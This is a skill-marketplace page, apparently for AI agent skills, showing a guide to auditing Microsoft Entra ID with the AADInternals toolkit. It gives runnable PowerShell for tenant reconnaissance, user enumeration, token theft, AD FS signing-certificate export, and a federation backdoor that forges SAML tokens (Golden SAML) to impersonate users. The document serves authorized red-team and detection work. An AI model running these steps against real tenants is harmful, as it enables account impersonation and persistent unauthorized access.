본문으로 건너뛰기
cccskills
무료GitHub에 공개

auditing-entra-id-with-aadinternals

Assess Microsoft Entra ID with AADInternals during authorized security testing. Examine publicly exposed tenant information, API access, and federation weaknesses, including Golden SAML, a token forgery technique, then document evidence and recommendations for stronger identity protection.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

원문원문 설명 보기

Drive the AADInternals PowerShell toolkit to perform Microsoft Entra ID tenant reconnaissance, access-token acquisition across Microsoft APIs, and federation/AD FS backdoor testing (Golden SAML, T1606.002) for defensive validation. Use during an authorized Entra ID/Microsoft 365 red-team assessment to map external attack surface or verify AD FS signing certs resist Golden SAML.

연동 도구Azure

실행 점수 미검증

설치 방법 보기

이럴 때 유용합니다

  • Mapping publicly exposed Entra ID tenant information
  • Checking API access available through acquired tokens
  • Validating AD FS signing certificate protection
  • Documenting identity security findings and hardening measures

포함된 파일(5)

  • SKILL.md10.5 KB
  • LICENSE11.0 KB
  • references/api-reference.md2.5 KB
  • references/standards.md1.1 KB
  • scripts/agent.py4.6 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Auditing Entra ID with AADInternals

Legal Notice: This skill is for authorized security testing, red-team engagements, and educational purposes only. AADInternals can forge SAML tokens and install federation backdoors that grant persistent impersonation of any tenant user. Use only against tenants you own or have explicit written authorization (rules of engagement) to test. Unauthorized use violates the Computer Fraud and Abuse Act and equivalent laws.

Overview

AADInternals is the most comprehensive offensive/administrative PowerShell toolkit for Microsoft Entra ID (formerly Azure AD), Azure AD Connect, and Active Directory Federation Services (AD FS), authored by Dr. Nestori Syynimaa (Gerenios / Secureworks). It exposes hundreds of cmdlets (all prefixed AADInt) covering unauthenticated outsider reconnaissance, access-token acquisition for every Microsoft API, directory manipulation, AD FS/PTA attacks, and the technique it is most famous for: federation backdoors that abuse the Set-MsolDomainFederationSettings / ConvertTo-AADIntBackdoor path so an attacker who controls a federated domain's IssuerUri can mint SAML tokens for arbitrary users — mapping to MITRE ATT&CK T1606.002 (Forge Web Credentials: SAML Tokens), the same class of technique used in the SolarWinds (Golden SAML) intrusions.

The toolkit separates capabilities by required position. Invoke-AADIntReconAsOutsider and Get-AADIntLoginInformation require no credentials — they query public endpoints (getuserrealm, OpenID configuration, autodiscover) to reveal verified domains, tenant ID, federation type, brand, and whether Desktop/Seamless SSO is enabled. With a foothold, Get-AADIntAccessTokenFor* cmdlets acquire tokens for Azure AD Graph, Microsoft Graph, Exchange Online, SharePoint, Azure Core Management, and more, optionally caching them so subsequent cmdlets reuse them. With Global Administrator (or a synced AD Connect account), the toolkit can read directory secrets, manipulate users, and establish the federation backdoor.

This skill drives AADInternals through a defensive-validation lens: confirm what an external attacker can learn, what a low-privileged token reaches, and whether federation/AD FS configuration would allow Golden SAML — then produce evidence and hardening recommendations.

When to Use

  • During an authorized Entra ID / Microsoft 365 red-team or assumed-breach assessment
  • To enumerate external attack surface (verified domains, federation type, SSO) before credential attacks
  • To validate that federation and AD FS token-signing certificates are protected against Golden SAML
  • To test token acquisition and replay across Microsoft first-party APIs
  • When building detections (pair with the blue-team Graph-log hunting skill) and you need real AADInternals telemetry

Prerequisites

  • Written authorization covering identity-attack and federation-backdoor testing
  • Windows host with PowerShell 5.1+ (or PowerShell 7 on the supported subset)
  • For backdoor/federation tests: Global Administrator (or equivalent) in the target tenant, in scope per the ROE
  • Install the module from the PowerShell Gallery:
    Install-Module AADInternals -Scope CurrentUser
    Import-Module AADInternals
    # Cross-platform AsOutsider-only reimplementation (no creds) is also available:
    #   https://github.com/synacktiv/AADOutsider-py
    
  • Familiarity with SAML/WS-Federation, OAuth tokens, and Azure AD Connect

Objectives

  • Perform unauthenticated tenant reconnaissance and enumerate verified domains, tenant ID, and federation type
  • Acquire and cache access tokens for Microsoft first-party APIs
  • Enumerate users/groups/roles with an authenticated token
  • Test the federation backdoor / Golden SAML path in a controlled, authorized manner
  • Document exposure and deliver hardening recommendations (token-signing cert protection, federation monitoring)

MITRE ATT&CK Mapping

IDTechniqueApplication in this skill
T1606.002Forge Web Credentials: SAML TokensConvertTo-AADIntBackdoor + New-AADIntSAMLToken forge SAML tokens for arbitrary users via a controlled federation IssuerUri (Golden SAML)

Related techniques: T1087.004 Account Discovery: Cloud Account (recon), T1528 Steal Application Access Token (token acquisition), T1556.007 Modify Authentication Process: Hybrid Identity (federation/PTA backdoors).

Workflow

Step 1: Unauthenticated outsider reconnaissance

No credentials required. Identify verified domains, tenant ID, federation type, brand, and SSO status.

# Full outsider recon for a domain (table output)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table

# Login/realm details: federation vs managed, AuthURL, brand
Get-AADIntLoginInformation -Domain "target.com"

# Tenant GUID
Get-AADIntTenantID -Domain "target.com"

Step 2: External user enumeration (optional, noisy)

Validate whether usernames exist via the GetCredentialType / autologon endpoints.

# Supply a list of candidate UPNs to test existence
Invoke-AADIntUserEnumerationAsOutsider -UserName "user1@target.com"
# Or pipe many:
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider

Step 3: Acquire and cache access tokens

With valid credentials (or an interactive prompt), obtain tokens for the API you need. -SaveToCache lets later cmdlets reuse the token automatically.

# Azure AD Graph (legacy graph.windows.net) token, cached
Get-AADIntAccessTokenForAADGraph -SaveToCache

# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph

# Exchange Online
$exo = Get-AADIntAccessTokenForEXO

Step 4: Authenticated directory enumeration

Using a cached/acquired token, read directory objects to map privilege.

# Global tenant info (uses cached AAD Graph token)
Get-AADIntTenantDetails

# Enumerate users and look for privileged / synced accounts
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId

Step 5: Inspect federation / AD FS configuration

Determine whether the tenant uses federated domains and where token-signing keys live — the prerequisite for Golden SAML.

# If you have access to the AD FS server, export the token-signing certificate
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# Read AD FS configuration / encryption keys (on the AD FS box or via DKM)
Get-AADIntADFSConfiguration -Server adfs.target.com

Step 6: Federation backdoor / Golden SAML (authorized only)

Convert a domain to a backdoor by setting a known IssuerUri, then forge a SAML token for a target user using that domain's ImmutableId. Only in a controlled tenant with explicit authorization.

# Requires a Global Admin token (AAD Graph) cached in Step 3
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# Output includes the IssuerUri to reuse when forging tokens.

# Forge a SAML token impersonating a user (ImmutableId from Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
    -Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate

# Use the forged token to open a portal session as the impersonated user
Open-AADIntOffice365Portal -SAMLToken $saml

Step 7: Document exposure and harden

Capture exactly what recon revealed, which tokens/APIs were reachable, and whether the backdoor/Golden SAML path succeeded. Recommend: protect AD FS token-signing certs (HSM, restricted DKM access), alert on new/changed federation trusts, monitor Set-DomainAuthentication/Set-MsolDomainFederationSettings, and migrate where feasible to managed (cloud) authentication.

Tools and Resources

ResourcePurposeSource
AADInternalsEntra ID / AD FS attack & admin toolkithttps://github.com/Gerenios/AADInternals
AADInternals docsCmdlet reference and technique writeupshttps://aadinternals.com/aadinternals/
AADOutsider-pyCross-platform AsOutsider reimplementationhttps://github.com/synacktiv/AADOutsider-py
Golden SAML backgroundFederation backdoor technique writeuphttps://aadinternals.com/post/aadbackdoor/
MITRE T1606.002Forge Web Credentials: SAML Tokenshttps://attack.mitre.org/techniques/T1606/002/

Cmdlet Quick Reference

CmdletPositionPurpose
Invoke-AADIntReconAsOutsiderNoneVerified domains, tenant ID, federation type, SSO
Get-AADIntLoginInformationNoneRealm/login details for a domain
Get-AADIntTenantIDNoneTenant GUID
Invoke-AADIntUserEnumerationAsOutsiderNoneValidate user existence
Get-AADIntAccessTokenForAADGraphCredsAzure AD Graph token (-SaveToCache)
Get-AADIntAccessTokenForMSGraphCredsMicrosoft Graph token
Get-AADIntAccessTokenForEXOCredsExchange Online token
Get-AADIntUsersTokenEnumerate directory users
ConvertTo-AADIntBackdoorGlobal AdminConvert a domain into a federation backdoor
New-AADIntSAMLTokenBackdoorForge a SAML token for a user (Golden SAML)
Open-AADIntOffice365PortalSAML tokenOpen a portal session as the impersonated user

Validation Criteria

  • Outsider recon completed; verified domains, tenant ID, and federation type recorded
  • User enumeration tested (or documented as out of scope)
  • Access token acquired and cached for at least one Microsoft API
  • Authenticated directory enumeration performed (users/roles, synced accounts noted)
  • Federation / AD FS configuration assessed for token-signing key exposure
  • Backdoor / Golden SAML path tested in an authorized controlled tenant or documented as out of scope
  • Exposure documented with concrete impact
  • Hardening recommendations delivered (cert protection, federation monitoring, managed auth migration)

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Assess exposure of Windows secrets protected by DPAPI, the operating system’s data protection service, during authorized security tests. Guide examination and decryption of saved credentials and browser data using available user sessions, credentials, or backup keys.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Assessing saved credential exposure in authorized tests
  • Examining collected DPAPI files offline
  • Reviewing protected browser and RDP credentials
mukul975/Anthropic-Cybersecurity-Skills3.5만2026년 8월 31일 업데이트

Assess Shadow Credentials account takeover during authorized Active Directory testing. Examine permissions that allow public key registration, validate authentication without a password reset, and document credential cleanup, detection opportunities, and access control changes needed for remediation.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Assessing risky permissions identified in BloodHound
  • Validating account takeover without resetting a password
  • Generating directory change records during security exercises
mukul975/Anthropic-Cybersecurity-Skills3.5만2026년 8월 31일 업데이트

Prepare for CMMC Level 2, a cybersecurity certification for defense contractors. Define the systems handling controlled information, review security requirements, calculate the SPRS assessment score, and organize remediation plans and evidence into a readiness report.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Define the assessment scope for systems handling controlled information
  • Calculate an SPRS score and prioritize unmet security requirements
  • Prepare security plans, remediation milestones, and assessment evidence
mukul975/Anthropic-Cybersecurity-Skills3.5만2026년 8월 31일 업데이트

Create disk images for investigations using dd or dcfldd on Linux. The workflow covers write protection, bit-for-bit copying, hash checks to verify integrity, and documentation of the acquisition process.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Preserving a suspect drive before investigation
  • Creating evidence copies of USB devices or memory cards
  • Verifying that a disk image matches its source
mukul975/Anthropic-Cybersecurity-Skills3.5만2026년 8월 31일 업데이트

Review Active Directory permissions with ldap3, a Python library for directory queries. Identify excessive access granted to non-administrative accounts, explain potential privilege escalation paths, and produce a JSON report with affected objects and remediation recommendations.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Auditing excessive Active Directory permissions
  • Investigating privilege escalation paths from ordinary accounts
  • Reporting affected objects and permission remediation recommendations
mukul975/Anthropic-Cybersecurity-Skills3.5만2026년 8월 31일 업데이트

Inspect suspicious Android APK files without running them. Analyze permissions, app components, suspicious code patterns, and network indicators, then produce a JSON risk report to support malware triage and detection rule development.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Triage suspicious APK files without running them
  • Inspect dangerous permission combinations and suspicious API calls
  • Extract network indicators for malware detection rules
mukul975/Anthropic-Cybersecurity-Skills3.5만2026년 8월 31일 업데이트

mukul975의 스킬 모두 보기

이 스킬의 문제 신고